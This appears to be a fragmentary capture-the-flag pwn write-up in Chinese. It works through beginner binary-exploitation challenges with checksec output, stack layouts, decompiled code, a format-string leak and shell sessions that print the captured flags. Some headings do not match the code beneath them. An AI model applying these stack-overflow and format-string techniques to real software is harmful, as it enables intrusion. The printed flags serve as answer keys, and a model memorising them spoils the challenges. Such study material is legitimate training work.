-0000000000000010 -0000000000000010 db ? ; undefined ;后面开出的这一些是为了栈16字节对齐 -000000000000000F db ? ; undefined -000000000000000E db ? ; undefined -000000000000000D db ? ; undefined -000000000000000C db ? ; undefined -000000000000000B db ? ; undefined -000000000000000A db ? ; undefined -0000000000000009 db ? ; undefined -0000000000000008 db ? ; undefined -0000000000000007 db ? ; undefined -0000000000000006 db ? ; undefined -0000000000000005 db ? ; undefined -0000000000000004 db ? ; undefined -0000000000000003 s db 2 dup(?) -0000000000000001 a db ? +0000000000000000 s db 8 dup(?) +0000000000000008 r db 8 dup(?) +0000000000000010 +0000000000000010 ; end of stack variables
root@Executor:/mnt/c/Users/86135/Desktop/pwn/level0# checksec --file=level0 RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 69 Symbols No 0 1 level0
-0000000000000080 buf db 128 dup(?) +0000000000000000 s db 8 dup(?) +0000000000000008 r db 8 dup(?) +0000000000000010 +0000000000000010 ; end of stack variables
[+] Opening connection to 111.200.241.244 on port 58761: Done [*] Switching to interactive mode Hello, World $ ls bin dev flag level0 lib lib32 lib64 $ cat flag cyberpeace{8efeda8a14caa49a15f88847757ca2d0} $
┌──(kali㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/level2] └─$ python3 exp.py [+] Opening connection to 111.200.241.244 on port 53153: Done [*] Switching to interactive mode Input: $ ls bin dev flag level2 lib lib32 lib64 $ cat flag cyberpeace{37be55c2ba683c43f9410e5e7400e59d}
003guess_num(栈缓冲区溢出改变随机数种子)
1 2 3 4 5 6 7
PS C:\Users\86135\Desktop\pwn\guess_num> checksec guess_num [*] 'C:\\Users\\86135\\Desktop\\pwn\\guess_num\\guess_num' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
-00000018 db ? ; undefined -00000017 db ? ; undefined -00000016 db ? ; undefined -00000015 db ? ; undefined -00000014 dest db 11 dup(?) -00000009 var_9 db ? -00000008 db ? ; undefined -00000007 db ? ; undefined -00000006 db ? ; undefined -00000005 db ? ; undefined -00000004 db ? ; undefined -00000003 db ? ; undefined -00000002 db ? ; undefined -00000001 db ? ; undefined +00000000 s db 4 dup(?) +00000004 r db 4 dup(?) +00000008 s dd ? ; offset +0000000C +0000000C ; end of stack variables
[*] Switching to interactive mode \xc0o\xf7Input: $ ls bin dev flag level3 lib lib32 lib64 $ cat flag cyberpeace{93ceadf23838a0fd793719d215b9876e}
007get_shell(白给)
1 2 3 4 5
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/get_shell] └─# ./get_shell OK,this time we will get a shell. # ls get_shell Ponce.cfg
运行即可得到shell
为啥还是7分的题?
008CGfsb(printf格式化字符串漏洞)
printf格式化字符串漏洞,总之就是特别绕
1 2 3 4 5 6 7
PS C:\Users\86135\Desktop\pwn\CGfsb> checksec cgfsb [*] 'C:\\Users\\86135\\Desktop\\pwn\\CGfsb\\cgfsb' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found ;金丝雀保护,栈溢出困难 NX: NX enabled PIE: No PIE (0x8048000)
信息收集:
1 2 3 4 5 6 7 8 9 10
┌──(kali㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/CGfsb] └─$ ./cgfsb please tell me your name: 123 leave your message please: 456 hello 123 your message is: 456 Thank you!
.bss:0000000000601068 unk_601068 db ? ; ; DATA XREF: main+3B↑o .bss:0000000000601069 db ? ; .bss:000000000060106A db ? ; .bss:000000000060106B db ? ; .bss:000000000060106C dword_60106C dd ? ; DATA XREF: main+4A↑r
setbuf(stdout, 0LL); alarm(0x3Cu); sub_400996(); v4 = malloc(8uLL); *v4 = 68; v4[1] = 85; puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ..."); puts("we will tell you two secret ..."); printf("secret[0] is %x\n", v4); //&v4的16进制表示 printf("secret[1] is %x\n", v4 + 1); //&v4+1的16进制表示,由于开启栈地址随机化,因此该值每次运行不定 puts("do not tell anyone "); sub_400D72((__int64)v4); //游戏剧情 puts("The End.....Really?"); return0LL; }
v2 = __readfsqword(0x28u); puts(" This is a famous but quite unusual inn. The air is fresh and the"); ... puts("So, where you will go?east or up?:"); while ( 1 ) { _isoc99_scanf("%s", s1); if ( !strcmp(s1, "east") || !strcmp(s1, "east") )//蜜汁操作,两个判断都是strcmp(s1,"east"),当s1为east时跳出循环 break; //当s1!=east一直循环请求输入 puts("hei! I'm secious!"); puts("So, where you will go?:"); } if ( strcmp(s1, "east") ) //蜜汁操作,出了刚才的循环则s1=east,这里的if条件判断一定不会成立,为什么还要设计这么一条路呢? { if ( !strcmp(s1, "up") ) sub_4009DD(); //屑函数,死路 puts("YOU KNOW WHAT YOU DO?"); exit(0); } return __readfsqword(0x28u) ^ v2; }
v4 = __readfsqword(0x28u);//从fs段偏移0x28=40字节读取一个四字 v2 = 0LL; puts("You travel a short distance east.That's odd, anyone disappear suddenly"); puts(", what happend?! You just travel , and find another hole"); puts("You recall, a big black hole will suckk you into it! Know what should you do?"); puts("go into there(1), or leave(0)?:"); _isoc99_scanf("%d", &v1); if ( v1 == 1 ) { puts("A voice heard in your mind"); puts("'Give me an address'"); _isoc99_scanf("%ld", &v2); puts("And, you wish is:"); _isoc99_scanf("%s", format); puts("Your wish is"); printf(format); //此处存在格式化字符串漏洞 puts("I hear it, I hear it...."); } return __readfsqword(0x28u) ^ v4; }
Your wish is AAAAAAAA-0x7f6645ea9743-(nil)-0x7f6645dc8603-0xd-0xffffffffffffff88-0x100000000-0x270f-0x4141414141414141-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x70252d70252d70I hear it, I hear it....
第n个格式化参数
不是格式化参数
1
2
3
4
5
6
7
8
打印内容
AAAAAAAA
0x7f6645ea9743
(nil)
0x7f6645dc8603
0xd
0xffffffffffffff88
0x100000000
0x270f
0x4141414141414141
意义
9999,刚才输入的v2
格式化字符串本身作为一个普通字符串的起始位置
可以判断,输入的v2将会被作为第7个格式化字符串参数
然后我们在前面的交互过程中获取到v4的地址,在give me an address之后输入,作为第七个格式化字符串参数
0x1ccb2a0 .... Your wish is AAAAAAAA-0x7f5c06c84743-(nil)-0x7f5c06ba3603-0xd-0xffffffffffffff88-0x100000000-0x1ccb2a0-0x4141414141414141-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x70252d70252d70I hear it, I hear it....
v3 = __readfsqword(0x28u); puts("Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!"); puts("Dragon say: HaHa! you were supposed to have a normal"); puts("RPG game, but I have changed it! you have no weapon and "); puts("skill! you could not defeat me !"); puts("That's sound terrible! you meet final boss!but you level is ONE!"); if ( *a1 == a1[1] ) //当a1[0]==a1[1]时就有巫师出手相助,否则嗝屁 { puts("Wizard: I will help you! USE YOU SPELL"); v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);//没有和文件描述符关联,则不把任何文件映射到进程的虚拟地址空间 read(0, v1, 0x100uLL); //从标准输入0即键盘读取至多0x100个字符,到v1缓冲区 ((void (__fastcall *)(_QWORD))v1)(0LL); //一个函数指针,但是v1明明是一个虚拟地址空间的指针,强行作为函数指针 } return __readfsqword(0x28u) ^ v3; }
mmap
1
void *mmap(void *start , size_t length, int prot, int flags, int fd, off_t offset);
